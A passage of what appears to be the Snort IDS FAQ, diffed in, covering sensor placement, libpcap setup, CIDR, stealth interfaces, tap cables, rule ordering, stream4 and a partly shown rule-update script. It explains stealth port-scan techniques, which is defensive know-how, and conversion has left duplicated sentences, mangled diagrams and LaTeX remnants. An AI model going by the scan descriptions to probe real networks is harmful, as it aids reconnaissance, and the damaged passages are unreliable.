+external, one for the internal. I work in a distributor for security products,
+so over instrumentation is fun :) And in any case, if the traffic do not pass
+by the Sensor it will not get monitored. So some people deploy IDS on their
+internal segments too I believe.
+
+In ``front'' of the firewall(s):
+
+Pro: Higher state of alert you know what attacks you are facing.
+
+Con: Wall to Wall of data, boring? If your firewall has NAT turned on, tracking
+the sources originating from your internal network is difficult.
+
+``Behind'' the firewall(s):
+
+Pro: Only what gets through the firewall gets monitored? Less load on the IDS
+analyst. You get to see what hosts are sending traffic to the internet.
+
+Con: Less idea of the state of the environment, false sense of safety.
+
+Where should IDS be placed relative to firewalls? Explore the pros and cons off
+placing IDS inside or outside firewall. What are the drawbacks of each?
+
+  * MARCUS RANUM from NFR Security: "I'd put mine inside. Why should I care if
+    someone is attacking the outside of my firewall? I care only if they
+    succeed, which my IDS on the inside would ideally detect. Placing the IDS
+    on the outside is going to quickly lull the administrator into complacency.
+    I used to have a highly instrumented firewall that alerted me whenever
+    someone attacked it. Two weeks later I was deleting its alert messages
+    without reading them. Another important factor arguing for putting it
+    inside is that not all intrusions come from the outside or the firewall. An
+    IDS on the inside might detect new network links appearing, or attackers
+    that got in via another avenue such as a dial-in bank.''
+  * CURRY from IBM: ``The IDS should be placed where it will be able to see as
+    much of the network traffic you're concerned about as possible. For
+    example, if you're concerned about attacks from the Internet, it makes the
+    most sense to put the IDS outside the firewall. the most sense to put the
+    IDS outside the firewall. This gives it an "unobstructed" view of
+    everything that's coming in. If you put the IDS inside the firewall, then
+    you're not seeing all the traffic the bad guys are sending at you, and this
+    may impact your ability to detect intrusions.''
+  * SUTTERFIELD from Wheel Group: ``IDS ideally plays an important role both
+    inside and outside a firewall. Outside a firewall, IDS watches legitimate
+    traffic going to public machines such as e-mail and Web servers. More
+    importantly IDS outside a firewall will see traffic that would typically be
+    blocked by a firewall and would remain undetected by an internal system.
+    This is especially important in detecting network sweeping which can be a
+    first indication of attack. External systems will also give you the benefit
+    of monitoring those services that firewalls determine are legitimate.
+    Putting an IDS inside the firewall offers the added benefit of being able
+    to watch traffic internal to the protected network. This adds an important
+    element of protection against insider threats. The major drawback of IDS
+    inside a firewall is that it cannot see a good deal of important traffic
+    coming from untrusted networks and may fail to alert on obvious signals of
+    an impending attack.''
+  * CHRIS KLAUS from ISS: ``Outside the firewall is almost always a good
+    idea-it protects the DMZ devices from attack and dedicates an additional
+    processor to protecting the internal network. Just inside the firewall is
+    also useful-it detects attempts to exploit the tunnels that exist through
+    the firewall and provides an excellent source of data for how well your
+    firewall is working. Throughout your intranet may be the best place for IDS
+    deployment, however. Everyone agrees that attacks aren't the only things
+    we're worried about-there's internal mischief, fraud, espionage, theft, and
+    general network misuse. Intrusion detection systems are just as effective
+    inside the network as outside, especially if they're unobtrusive and easy
+    to deploy.''
+  * GENE SPAFFORD: ``The IDS must be inside any firewalls to be able to detect
+    insider abuse and certain kinds of attacks through the firewall. IDS
+    outside the firewall may be useful if you want to monitor attacks on the
+    firewall, and to sample traffic that the firewall doesn't let through.
+    However, a true IDS system is likely to be wasted there unless you have
+    some follow-through on what you see.''
+  * Bottom Line:
+
+    DRAGOS RUIU: ``just pick a spot you're likely to look at the logs for :-)''
+
+2.6 Libpcap complains about permissions problems, what's going on?
+
+You are not running snort as root or your kernel is not configured correctly.
+
+2.7 I've got RedHat and ....
+
+Check your version of libpcap. If it's not >= 0.5, then you should update.
+
+2.8 Where do I get the latest version of libpcap?
+
+You can find the most current version at:
+
+    http://www.tcpdump.org/
+
+You might also want to have a look at Phil Wood's patches to libpcap for Linux.
+
+    http://public.lanl.gov/cpw/
+
+2.9 Where do I get the latest version of Winpcap?
+
+http://winpcap.polito.it/
+
+2.10 What version of Winpcap do I need?
+
+It depends. If you only have one processor, you can use the most current
+version (3.x). If you have a SMP box, you'll have to use either an older
+version (< 2.3) or the 3.x version plus a patch from http://www.ntop.org/
+winpcap.html .
+
+2.11 Why does building snort complain about missing references?
+
+You must configure libpcap with the -install-incl option. (On RedHat, install
+the libpcap-devel rpm.)
+
+2.12 Why does building snort fail with errors about yylex and lex_init?
+
+You need the lex and yacc tools or their gnu equivalents flex and bison
+installed.
+
+2.13 I want to build a snort box. Will this <Insert list of hardware> handle
+<this much> traffic?
+
+That depends. Lower the number of rules is a standard performance increase.
+Disable rules that you don't need or care about. There have been many
+discussions on 'tweaking performance' with lots of 'I handle XX mb with a ___
+machine setup.' being said. Look at some of the discussions on the snort-users
+mailing lists.
+
+Here is an oft quoted bit on the subject from Marty:
+
+"Hardware/OS recommendations"
+
+Ok, here are the guidelines and some parameters. Intrusion detection is turning
+into one of the most high performance production computing fields that is in
+wide deployment today. If you think about the requirements of a NIDS sensor and
+the constraints that they are required to operate within, you'll probably start
+to realize that it's not too hard to find the performance wall with a NIDS
+these days.
+
+The things a NIDS needs are:
+
+1.  MIPS (Fast CPU)
+2.  RAM (More is *always* better)
+3.  I/O (Wide, fast busses and high performance NIC)
+4.  AODS (Acres Of Disk Space)
+
+A NIDS also needs to be pretty quick internally at doing its job. Snort's seen
+better days in that regard (when 1.5 came out the architecture was a lot
+cleaner) but it's still considered to be one of the performance leaders
+available.
+
+As for OS selection, use what you like. When we implement Data Acquisition
+Plugin's in Snort 2.0 this may become more of a factor, but for now I'm hearing
+about a lot of people seeing alot of success using Snort on Solaris, Linux,
+*BSD and Windows 2000. Personally, I develop Snort on FreeBSD and Sourcefire
+uses OpenBSD for our sensor appliance OS, but I've been hearing some good
+things about the RedHat Turbo Packet interface (which would require mods for
+Snort to use, not to mention my general objection to RedHat's breaking stuff
+all the time). (ed note: take a drink, see FAQ 7.2 -dr)
+
+2.14 What are CIDR netmasks?
+
+(Excerpt from url: http://public.pacbell.net/dedicated/cidr.html ) CIDR is a
+new addressing scheme for the Internet which allows for more i efficient
+allocation of IP addresses than the old Class A, B, and C address scheme.
+
+CIDR Block  Equivalent Class C   IP Addresses Usable Addresses   Subnet Mask
+
+   /32     1/256th of a Class C       1              1         255.255.255.255
+
+   /30      1/64th of a Class C       4              2         255.255.255.252
+
+   /29      1/32nd of a Class C       8              6         255.255.255.248
+
+   /28      1/16th of a Class C       16             14        255.255.255.240
+
+   /27      1/8th of a Class C        32             30        255.255.255.224
+
+   /26      1/4th of a Class C        64             62        255.255.255.192
+
+   /25       1/2 of a Class C        128            126        255.255.255.128
+
+   /24           1 Class C           256            254         255.255.255.0
+
+   /23           2 Class C           512            510         255.255.254.0
+
+   /22           4 Class C          1,024           1022        255.255.252.0
+
+   /21           8 Class C          2,048           2046        255.255.248.0
+
+   /20          16 Class C          4,096           4094        255.255.240.0
+
+   /19          32 Class C          8,192           8190        255.255.224.0
+
+   /18          64 Class C          16,384         16,382       255.255.192.0
+
+   /17          128 Class C         32,768         32,766       255.255.128.0
+
+   /16          256 Class C         65,536         65,534        255.255.0.0
+
+   /15          512 Class C        131,072        131,070        255.254.0.0
+
+   /14         1,024 Class C       262,144        262,142        255.252.0.0
+
+   /13         2,048 Class C       524,288        524,286        255.248.0.0
+
+For more detailed technical information on CIDR, check out the following RFCs:
+
+  * RFC 1517: Applicability Statement for the Implementation of CIDR
+  * RFC 1518: An Architecture for IP Address Allocation with CIDR
+  * RFC 1519: CIDR: An Address Assignment and Aggregation Strategy
+  * RFC 1520: Exchanging Routing Information Across Provider Boundaries in the
+    CIDR Environment
+
+RFCs are available at http://www.rfc-editor.org/rfcsearch.html
+
+2.15 What is the use of the "-r" switch to read tcpdump files?
+
+Used in conjunction with a snort rules file, the tcpdump data can be analyzed
+for hostile content, port scans, or anything else Snort can be used to detect.
+Snort can also display the packets in a decoded format, which many people find
+is easier to read than native tcpdump output.
+
+3 Configuring Snort
+
+3.1 How do I setup snort on a 'stealth' interface?
+
+  *BSD and Linux:
+
+    ifconfig eth1 up
+
+Solaris:
+
+    ifconfig eth1 plumb
+
+    ifconfig eth1 up
+
+NT/W2K/XP:
+
+NOTE: You are at your own risk if you follow these instructions. Editing your
+registry is DANGEROUS and should be done with extreme caution. Follow these
+steps at your OWN risk.
+
+1.  Get your device's hex value. ('snort -W' works for this)
+2.  open Regedt32
+3.  Navigate out to: HKEY_LOCAL_MACHINE\( \backslash \)SYSTEM\( \backslash \)
+    CurrentControlSet\( \backslash \)Services\( \backslash \)Tcpip\( \backslash
+    \)Parameters\( \backslash \)Interfaces\( \backslash \)
+    {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
+4.  Select the network card you wish to setup as the monitoring interface (this
+    will be the {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX} value).
+5.  Set IPAddress:REG_MULTI_SZ: to null (Double click on the string, delete
+    data in the Multi-String Editor, then click OK)
+6.  Set SubnetMask:REG_MULTI_SZ: to null (Double click on the string, delete
+    data in the Multi-String Editor, then click OK)
+7.  Set DefaultGateway:REG_MULTI_SZ: to null (Double click on the string,
+    delete data in the Multi-String Editor, then click OK)
+8.  Close the Registry Editor, your changes will be saved automatically.
+9.  In a command prompt, run 'ipconfig' to verify the interface does not have
+    an IP bound to it.
+
+If you do not receive an IP address listing from the interface you modified,
+you are good to go. To run snort with the specified interface, use the -i flag
+such as 'snort -v -d -p -i1'
+
+3.2 How do I setup a receive-only ethernet cable?
+
+Use an ethernet tap, or build your own 'receive-only' ethernet cable. Anyway,
+here is the cable I use:
+
+  * []LAN          Sniffer
+
+     1 ---\   /- 1
+
+     2 --\ |   \- 2
+
+     3 --+-*--- 3
+
+     4 -  |       - 4
+
+     5 -  |       - 5
+
+     6 --*---- 6
+
+     7 -          - 7
+
+     8 -          - 8
+
+Basically, 1 and 2 on the sniffer side are connected, 3 and 6 straight through
+to the LAN. 1 and 2 on the LAN side connect to 3 and 6 respectively. This fakes
+a link on both ends but only allows traffic from the LAN to the sniffer. It
+also causes the 'incoming' traffic to be sent back to the LAN, so this cable
+only works well on a hub. You can use it on a switch but you will get ...err...
+interesting results. Since the switch receives the packets back in on the port
+it sent them out, the MAC table gets confused and after a short while devices
+start to drop off the switch. Works like a charm on a hub though.
+
+Another method which uses a capacitor and should work on 100mbs links:
+
+    http://www.geocities.com/samngms/sniffing_cable
+
+And another:
+
+    The UTP Y-Cable specified by Joe Lyman:
+
+A less noisy option: it involves a couple of cat 5 cables and a single speed
+hub. The idea is to use the rcv cables for the wire going to the sniffer box
+and use the xmit cables from another hub port. This will give you a link light
+and allow your sniffer to rcv only. Cannot xmit because the xmit cables are not
+connected. This has been successfully used on netgear single speed hubs. It
+wont work on dual speed hubs due to the negotiation of speed.
+
+Pin outs. They are reversed in the picture in order to prevent lines from
+crossing, and I only included the pins used.
+
+  * []HUB PORT 1             HUB PORT 2
+
+       -----             -----
+
+       x x r r                r r x x
+
+       6 3 2 1                1 2 3 6
+
+       | | | |                    | |
+
+       | | | ----------- |
+
+       | | -------------
+
+       | |
+
+       | |
+
+       | |
+
+       | |
+
+       6 3 2 1
+
+       r r x x
+
+       ----
+
+       SNIFFER
+
+        x = xmit
+
+        r = rcv
+
+You could make it a single cable by adding a battery to simulate the voltage
+from the xmit cables on the nic, but batteries die.
+
+It's not recommended to cut the transmit side, shunt it to ground (pin 2). Some
+OS's will disable the interface if PIN 1 does not indicate a completed circuit.
+
+3.3 What are HOME_NET and EXTERNAL_NET?
+
+HOME_NET and EXTERNAL_NET are standard variable names that all of the Snort.Org
+rules use. HOME_NET refers to the network(s) that you want to protect, where
+EXTERNAL_NET is the network(s) that you think attacks would come from.
+
+3.4 My network spans multiple subnets. How do I define HOME_NET?
+
+Snort 1.7 supports IP lists. You can assign a number of addresses to a single
+variable. For example:
+
+    var HOME_NET [10.1.1.0/24,192.168.1.0/24]
+
+Note: Not all preprocessors support IP lists at this time. Unless otherwise
+stated, assume that any preprocessor using an IP list variable will use the
+first value as the HOME_NET. The portscan preprocessor is an example. To catch
+all detectable portscans, pass 0.0.0.0/0 in as the first parameter.
+
+    preprocessor portscan: 0.0.0.0/0 5 3 portscan.log
+
+Use the portscan-ignorehosts preprocessor to fine tune and ignore traffic from
+noisy, trusted machines.
+
+3.5 How do I set EXTERNAL_NET?
+
+Many people set EXTERNAL_NET to ``any''.
+
+    var EXTERNAL_NET any
+
+By setting it to ``any'' Snort will alert you on any traffic matching a rule
+coming into or leaving your network.
+
+To cut down on the work that Snort has to do, many people set it to ``not
+HOME_NET''.
+
+    var EXTERNAL_NET !$HOME_NET
+
+This tells Snort to define EXTERNAL_NET as everything except HOME_NET. For most
+people this is the best thing to set it to.
+
+3.6 How can I run snort on multiple interfaces simultaneously.
+
+LINUX: If you aren't running snort on linux 2.1.x/2.2.x kernel (with LPF
+available) the only way is to run multiple instances of snort, one instance per
+interface (with the -i option specifying the interface). However for linux
+2.1.x/2.2.x and higher you can use libpcap library with S. Krahmer's patch
+which allows you to specify 'any' as interface name. In this case snort will be
+able to process traffic coming to all interfaces.
+
+*BSD: Use the ``bridge'' interface to combine your nics into a logical
+interface (bridge0).
+
+3.7 My IP address is assigned dynamically to my interface, can I use snort with
+it?
+
+Yes. With snort 1.7 and later, <interface>_ADDRESS variable is available. The
+value of this variable will be always set to IP address/Netmask of the
+interface which you run snort at. if interface goes down and up again (and an
+IP address is reassigned) you will have to restart Snort. For earlier versions
+of snort numerous scripts to achieve the same result are available.
+
+3.8 I have one network card and two aliases, how can I force snort to "listen"
+on both addresses ?
+
+Since version 1.7, you can specify an IP list like this:
+
+    var HOME_NET [ 192.168.10.0/24, 10.1.1.1/16 ]
+
+3.9 How do I ignore traffic coming from a particular host or hosts?
+
+There are two basic ways to ignore traffic from a host:
+
+  * Pass Rules
+  * BPF Filters
+
+Details:
+
+1.  Pass Rules:
+      + Advantages:
+
+        Gives you rule based control over the packets.
+
+        Puts all your changes into 'one place'-snort.conf.
+      + Disadvantages:
+
+        Reverses the Rule order, can cause some headaches in tracking down
+        problems.
+
+        One poorly written pass rule can 'blind' your whole network.
+
+        The more specific the pass rule is, the more CPU snort needs to process
+        it which may be important on loaded nets.
+      + Example:
+
+        For example to ignore ALL ICMP traffic from host <foo> using a pass
+        rule:
+
+            pass icmp <foo> any -> $HOME_NET any
+
+2.  BPF Filters:
+
+      + Advantages:
+
+        Drops the packet at the BPF interface, which saves on processing.
+
+        Speeds up Snort since it 'never sees' those packets.
+      + Disadvantages:
+
+        Poorly constructed filters can 'blind-side' you.
+      + Example:
+
+        To ignore all traffic from 192.168.0.1:
+
+            snort <commandline options> not host 192.168.0.1
+
+        To ignore all ICMP ECHO-REQUESTS (pings) and ICMP-ECHO REPLY's (ping
+        reply) from host <foo>:
+
+            snort <options> ``not ( (icmp[0] = 8 or icmp[0] = 0) and host <foo>
+            )''
+
+3.10 How do I get Snort to log the packet payload as well as the header?
+
+Use the "-d" command line option to log packet payload, or use the ``-b''
+option to log the full binary packet.
+
+3.11 Why are there no subdirectories under /var/log/snort for IP addresses?
+
+It depends on how your Snort configuration logs. If it logs in binary format,
+you'll have to process the binary log in order to get cleartext. You also might
+have ``-A <foo>'' on the command line. Command line options always take
+override the .conf file.
+
+3.12 Why does the portscan plugin log "stealth" packets even though the host is
+in the portscan-ignorehosts list?
+
+These types of TCP packets are inherently suspicious, no matter where they are
+coming from. The portscan detector was built with the assumption that stealth
+packets should be reported, even from hosts which are not monitored for
+portscanning. An option to ignore "stealth" packets may be added in the future.
+
+3.13 What the heck is a ``Stealth scan''?
+
+A Stealth scan can refer to more than one type of scan.
+
+  * Half-Open or SYN scan-Instead of completing the full TCP
+    three-way-handshake a full connection is not made. A SYN packet is sent to
+    the system and if a SYN/ACK packet is received it is assumed that the port
+    on the system is active. In that case a RST/ACK will be sent which will
+    determined the listening state the system is in. If a RST/ACK packet is
+    received, it is assumed that the port on the system is not active.
+  * FIN scan-According to RFC 793 a system should send back an RST for all TCP
+    ports closed when they receive a FIN packet for a specific port.
+  * XMAS tree scan-According to RFC 793 a system should send back an RST for
+    all TCP ports closed when they receive a FIN/URG/PUSH packet for a specific
+    port.
+  * NULL scan-According to RFC 793 a system should send back an RST for all TCP
+    ports closed when they receive a packet without any specified IP flags for
+    a specific port.
+  * Slow scan-Any of the above scans could be used as a slow scan. A slow scan
+    is when the attacker sends packets at a _very_ slow rate. Sometimes these
+    scans can be conducted over hours, days, or weeks. The idea is since they
+    are so slow, the victim's security measures won't ``notice'' the scan.
+
+3.14 What the heck is a SYNFIN scan?
+
+SYNFIN scans got their name because there are both the SYN and FIN flags set.
+
+3.15 Which takes precedence, commandline or rule file ?
+
+The command line always gets precedence over the rules file. If people want to
+try stuff out quickly without having to manually edit the rules file, they
+should be able to override many things from the command line.
+
+3.16 How does rule ordering work?
+
+FOR 2.0 =>:
+
+Please see the documents on v2.0 at:
+myquotehtmladdnormallinkhttp://www.snort.org/docs/#devel http://www.snort.org/
+docs/#devel
+
+FOR <= 1.9.X: Marty has answered this many times on the snort-users mailing
+list. Here is an excerpt from a post on Thu, 22 Feb 2001 00:31:53 -0500, titled
+"Re: [Snort-users] order of evaluation of rules"
+
+Currently, the data structures that store Snort rule data are the RuleTreeNodes
+(RTN) and the OptTreeNodes (OTN). These data structs are stored in a two
+dimensional linked list structure with the RTNs forming the top row of the
+"Array" and the OTNs forming the columns under the RTNs. Here's an ASCII
+illustration from the infamous "lisapaper":
+
+  * []RTN                   RTN                    RTN          
+
+      -------        -------         ---
+
+     | Chain Header |      | Chain Header |      | Chai
+
+     |              |      |              |      |
+
+     | Src IP       |      | Src IP       |      | Src
+
+     | Dst IP       |--->| Dst IP       |--->| Dst
+
+     | Src Port     |      | Src Port     |      | Src
+
+     | Dst Port     |      | Dst Port     |      | Dst
+
+     |              |      |              |      |
+
+     -------        -------         ---
+
+             |                     |
+
+             |                     |
+
+             |                     |
+
+      OTN   \|/            OTN    \|/
+
+      ----V---       ----V----
+
+     | Chain Option  |    | Chain Option   |
+
+     |               |    |        :       |
+
+     | Content       |             :
+
+     | TCP Flags     |             :
+
+     | ICMP Data     |
+
+     | Payload Size  |
+
+     | etc.          |
+
+     |               |
+
+      --------
+
+             |
+
+             |
+
+             |
+
+       OTN  \|/
+
+      ----V---
+
+     | Chain Option |
+
+     |              |
+
+     | Content      |
+
+     | TCP Flags    |
+
+     | ICMP data    |
+
+     | Payload Size |
+
+     | etc.         |
+
+     |              |
+
+      -------
+
+             |
+
+             |
+
+Rules with similar rule headers (i.e. all the CGI rules, the old stealth port
+scan detection rules, most of the rules that focus on any single service, etc)
+are grouped under a single RTN for the sake of efficiency and the applicable
+OTNs are hung below them. For instance, if you have three rules like this:
+
+    alert tcp any any -> $HOME 80 (content: "foo"; msg: "foo";)
+    alert tcp any any -> $HOME 80 (content: "bar"; msg: "bar";)
+    alert tcp any any -> $HOME 80 (content: "baz"; msg: "baz";)
+
+They all get grouped under the same RTN and the OTNs are "hung" beneath them
+like this:
+
+  * []  RTN                            RTN
+
+     ----------           ----------
+
+    |  SIP: any          |         |  SIP: any          |
+
+    |  SP: any           |---->|  SP: any           |
+
+    |  DIP: $HOME        |         |  DIP: $HOME        |
+
+    |  DP: 80            |         |  DP: 1-1024        |
+
+     ----------           ----------
+
+              |                              |
+
+              |                              |
+
+      OTN    \|/                            \|/
+
+     -----v-----           -----v-----  
+
+    | content: foo       |         | flags: S           |
+
+    | msg: foo           |         | msg: example       |
+
+     ----------           ----------
+
+              |
+
+              |
+
+      OTN    \|/  
+
+     -----v-----
+
+    | flags: S           |
+
+    | msg: Port 80 SYN!  |
+
+     ----------
+
+              |
+
+              |
+
+      OTN    \|/  
+
+     -----v-----
+
+    | content: baz       |
+
+    | msg: baz           |
+
+     ----------
+
+This is an efficient way to do things because we only need to check the data in
+the RTN once with this method. There is actually another dimension to this
+array: the function pointer list. Each node in the "array" has a linked list of
+function pointers attached to it. The functions in this list are the tests that
+need to be done to determine whether the data in the current packet matches the
+current rule node's information. Having this function pointer list gives us
+great efficiency and flexibility: we don't need to perform tests for things the
+current rule doesn't contain (e.g. "any" ports/IPs, packet content on
+non-content rules, etc). It also allows us to analyze the packet with any
+function without having to make major modifications to the whole program (which
+was the case in versions prior to version 1.5).
+
+There are a couple of implications of this architecture. For the sake of this
+discussion on rules ordering, the one we're interested in is that rule order is
+tricky to figure out. For instance
+
+    alert tcp any any -> $HOME 80 (content: "foo"; msg: "foo";)
+    alert tcp any any -> $HOME 1:1024 (flags: S; msg: "example";)
+    alert tcp any any -> $HOME 80 (flags: S; msg: "Port 80 SYN!";)
+    alert tcp any any -> $HOME 80 (content: "baz"; msg: "baz";)
+
+gets built like this:
+
+  * []\begin{verbatim}
+
+           RTN                            RTN 
+     ----------           ---------- 
+
+    |  SIP: any          |         |  SIP: any          |
+
+    |  SP: any           |---->|  SP: any           |
+
+    |  DIP: \$HOME        |         |  DIP: \$HOME        |
+
+    |  DP: 80            |         |  DP: 1-1024        |
+
+    ----------           ----------
+
+              |                              |
+
+              |                              |
+
+     OTN     \|/                            \|/
+
+     -----v-----            -----v----- 
+
+    | content: foo      |         | flags: S           |
+
+    | msg: foo          |         | msg: example       |
+
+    ----------            ----------
+
+              |
+
+              |
+
+      OTN    \|/ 
+
+     -----v-----
+
+    | flags: S           |
+
+    | msg: Port 80 SYN!  |
+
+     ----------
+
+              |
+
+              |
+
+      OTN    \|/ 
+
+     -----v-----
+
+    | content: baz       |
+
+    | msg: baz           |
+
+     ----------
+
+Note that all three of the port 80 rules will be checked before the "1:1024"
+rule due to the order in which the applicable RTN has been created. This is
+because the rules parser builds the first chain header for port 80 traffic and
+sticks it on the rules list, then on the next rule it sees that a new chain
+header is required, so it gets built and put in place. In this case you would
+intuitively expect to get the "example" message and never see the "Port 80 SYN!
+", but the opposite is true.
+
+3.17 How do I configure stream4?
+
+  Stream4 is an entirely new preprocessor that performs two functions:
+
+  * Stateful inspection of TCP sessions
+  * TCP stream reassembly
+
+Marty implemented stream4 out of the desire to have more robust stream
+reassembly capabilities and the desire to defeat the latest "stateless attacks"
+that have been coming out against Snort (c.f. stick and snot). Stream4 is
+written with the intent to let Snort be able to handle performing stream
+reassembly for "enterprise class" users, people who need to track and
+reassemble more than 256 streams simultaneously. Marty optimized the code
+fairly extensively to be robust, stable, and fast. The testing and calculations
+I've performed lead me to be fairly confident that stream4 can provide full
+stream reassembly for several thousand simultaneous connections and stateful
+inspection for upwards of 64,000 simultaneous sessions.
+
+Stream4 is a large and complex piece of code (almost 2000 lines) and there are
+a lot of options associated with its runtime configuration, so I'll go over
+them here.
+
+    preprocessor stream4: [noinspect], [keepstats], [timeout <seconds>],
+    [memcap]
+
+stream4_reassemble defaults:
+
+    Reassemble client: ACTIVE
+    Reassemble server: INACTIVE
+    Reassemble ports: 21 23 25 53 80 143 110 111 513
+    Reassembly alerts: ACTIVE
+
+There is a new command line switch that is used in concert with the stream4
+code, "-z". If the -z switch is specified, Snort will only alert (for TCP
+traffic) on streams that have been established via a three way handshake or
+streams where cooperative bidirectional activity has been observed (i.e. where
+some traffic went one way and something other than a RST or FIN was seen going
+back to the originator). With "-z" turned on, Snort completely ignores
+TCP-based stick/snot "attacks".
+
+3.18 Where does one obtain new/modified rules? How do you merge them in?
+
+New rules can be downloaded via CVS or alternatively may be found at http://
+www.snort.org . There is a mailing list dedicated to snort rules, called
+snort-sigs hosted at Sourceforge. There are some scripts/programs to help you
+with rule management:
+
+  * oinkmaster: It is a simple Perl script to update the ruleset for you.
+
+    http://www.algonet.se/~nitzer/oinkmaster/
+
+  * IDS Policy Manager: It is a win32 application that updates the ruleset
+    using a gui then upload your rulesets via scp.
+
+    http://www.activeworx.com/idspm
+
+  * snortpp: a program to merge multiple files into one master file sorted by
+    SID.
+
+    http://dragos.com/snortpp.tgz
+
+There is also this script that might be useful:
+
+  * []#!/bin/sh
+
+    ###########################################################################
+    ####
+
+    #
+
+    # Das Skript zum Herunterladen und installieren neuer IDS-Signaturen.
+
+    #
+
+    ###########################################################################
+    ####
+
+    MAILTO="admin@mydomain.de"
+
+    MACHINE="machine1"
+
+    #set -x
+
+    SIGS_URL1="http://www.snort.org/dl/signatures/snortrules-stable.tar.gz"
+
+    MD5_URL1="http://www.snort.org/dl/signatures/snortrules-stable.tar.gz.md5"
+
+    WGET="/usr/bin/wget"
+
+    #WGET_PARAMS="-N"
+
+    WGET_PARAMS="-t 3 -T 5 -N -a /etc/snort/snort.log -P /etc/snort"
+
+    # Wget parameters:
+
+    #
+
+    # -t            : Retries (here 3)
+
+    # -N            : Get the file only if newer
+
+    # -a            : Append the log messages to the specified file
+
+    # -P            : Save the file to the specified directory
+
+    # -T            : Timeout
+
+    ECHO="/bin/echo"
+
+    TAR="/bin/tar"
+
+    KILL="/bin/kill"
+
+    PIDOF="/sbin/pidof"
+
+    SNORT="/usr/local/bin/snort"
+
+    SNORTUSER="snort"
+
+    SNORTGROUP="snort"
+
+    KILLSIG="SIGUSR1"
+
+    SERVICE="/sbin/service"
+
+    # Where is the Snort configuration dir:
+
+    RULESPATH="/etc/snort/snortrules"
+
+    SNORTCFGPATH="/etc/snort"
+
+    MD5SUM="/usr/bin/md5sum"
+
+    MD5SUM_PARAMS=""
+
+    # The list of sensor interfacec divided by blanks
+
+    IFACES="eth0"
+
+    ###########################################################################
+    ####
+
+    #                           F U N C T I O N S 
+
+    #
+
+    ###########################################################################
+    ####
+
+    ###########################################################################
+    ####
+
+    #
+     Die Funktion, die Snort fuer alle def. Interfaces auf dem System startet    
+    #
+
+    #
+                                                                                 
+    #
+
+    #
+     Um sie zu erweitern muss man zwei Dinge tun:                                
+    #
+
+    #
+     1. Die Parameterliste von Interfaces erweitern                              
+    #
+
+    # 2. Das Konfigurationsfile unter /etc/snort/
+    snort.conf_ethX anlegen          #
+
+    #
+                                                                                 
+    #
+
+    ###########################################################################
+    ####
+
+    restartsnort() {
+
+    # Restarting Snort for all interfaces
+
+    for i in $IFACES; do
+
+             "$ECHO" "Setting up Snort for interface "$i""
+
+             $ECHO "Restarting Snort..."
+
+             #/usr/bin/killall snort
+
+             if [ -f /var/run/snort_"$i".pid ]
+
+             then
+
+                     PID=$("$PIDOF" "$SNORT")
+
+                     if [ -z "$PID" ]
+
+                     then
+
+                             "$SERVICE" snort restart
+
+                     else
+
+                             #`cat /var/run/snort_"$i".pid`
+
+                            "$ECHO" "Restarting Snort running with PID "$PID" and reloading the rules..."
+
+                            "$KILL" -s "$KILLSIG" "$PID"
+
+                     fi
+
+             else
+
+                     "$ECHO" "No PID file for interface "$i" found under /var/
+    run"
+
+             fi
+
+             "$ECHO" "Starting Snort"
+
+             "$SNORT" -a -b -c "$SNORTCFGPATH""/snort.conf_""$i" -I -D -v 
+
+    -i $i -u "$SNORTUSER" -g "$SNORTGROUP"
+
+             PID=`cat /var/run/snort_"$i".pid`
+
+             "$ECHO" "Snort running now with PID "$PID""
+
+    done
+
+    }
+
+    ###########################################################################
+    ####
+
+    #
+       Die Funktion zum ueberpruefen, ob und wie Snort auf dem System laeuft     
+    #
+
+    ###########################################################################
+    ####
+
+    checksnort() {
+
+    SNORTS=$("$PIDOF" "$SNORT" | wc -w | awk '{print $1}')
+
+    SNORT_PIDS=$(/usr/bin/find /var/run -name snort\_eth[0-9]\.pid -ls | 
+
+    wc -l | awk '{print $1}')
+
+    "$ECHO" "Snort instances counted:  $SNORTS"
+
+    "$ECHO" "Snort PID files found:    $SNORT_PIDS"
+
+    # 1. Fall: Snort laeuft nicht oder PID-File nicht da:
+
+    if [ "$SNORTS" = "0" -o "$SNORT_PIDS" = "0" ]
+
+    then
+
+             "$ECHO" "Snort seems to be down or no PID file there..."
+
+             "$ECHO" "Restarting Snort for all Interfaces..."
+
+             "$SERVICE" snort restart
+
+    fi
+
+    # 2. Fall: Anzahl der Instanzen ungleich der Anzahl der PID-Files
+
+    if [ "$SNORTS" -gt "$SNORT_PIDS" ]
+
+    then
+
+             "$ECHO" "More Snort instances than found PID files..."
+
+             "$ECHO" "Something is wrong outthere..."
+
+             "$ECHO" "Stopping all Snort processes..."
+
+    #        /usr/bin/killall -9 snort
+
+            "$SERVICE" snort stop
+
+            "$ECHO" "Hold on... Restarting Snort now..."
+
+            "$SERVICE" snort restart
+
+    fi
+
+     
+
+    #
+     3. Fall: Anzahl der Instanzen stimmt mit der Anzahl der PID-files ueberein
+
+     
+
+    }
+
+    ###########################################################################
+    ####
+
+    ###########################################################################
+    ####
+
+    getrules() {
+
+    # Get the rules, since we know that they are newer...
+
+    $WGET $WGET_PARAMS $SIGS_URL1
+
+    $WGET $WGET_PARAMS $MD5_URL1
+
+    "$ECHO" "Readout the checksum..."
+
+    # MD5-Summe auslesen
+
+    if [ -f /etc/snort/snortrules-stable.tar.gz.md5 ]
+
+    then
+
+             MD5SUM1=`grep MD5 \
+
+                      /etc/snort/snortrules-stable.tar.gz.md5|awk 
+
+    '{print $4}'`
+
+    else
+
+             "$ECHO" "Error! No MD5-file found"
+
+             exit 1
+
+    fi
+
+    "$ECHO" "Generating our own checksum..."
+
+    # MD5-Summe bilden
+
+    if [ -f /etc/snort/snortrules-stable.tar.gz ]
+
+    then
+
+        MD5SUM2=`md5sum /etc/snort/snortrules-stable.tar.gz|awk '{print $1}'`
+
+    else
+
+             "$ECHO" "Error! No rules file found"
+
+             exit 1
+
+    fi
+
+    if [ "$MD5SUM1" = "$MD5SUM2" ]
+
+    then
+
+             "$ECHO" "The MD5-Checksum fits!"
+
+             "$ECHO" "$MD5SUM1"
+
+             "$ECHO" "$MD5SUM2"
+
+             "$ECHO" "$MD5SUM1" >> /etc/snort/snort.log
+
+             "$ECHO" "$MD5SUM2" >> /etc/snort/snort.log
+
+             "$ECHO" "Proceeding..."
+
+    #        /bin/sleep 1
+
+    else
+
+             "$ECHO" "Error! Wrong checksum! Aborting!"
+
+             "$ECHO" "Install rules manually!"
+
+             "$ECHO" "$MD5SUM1" >> /etc/snort/snort.log
+
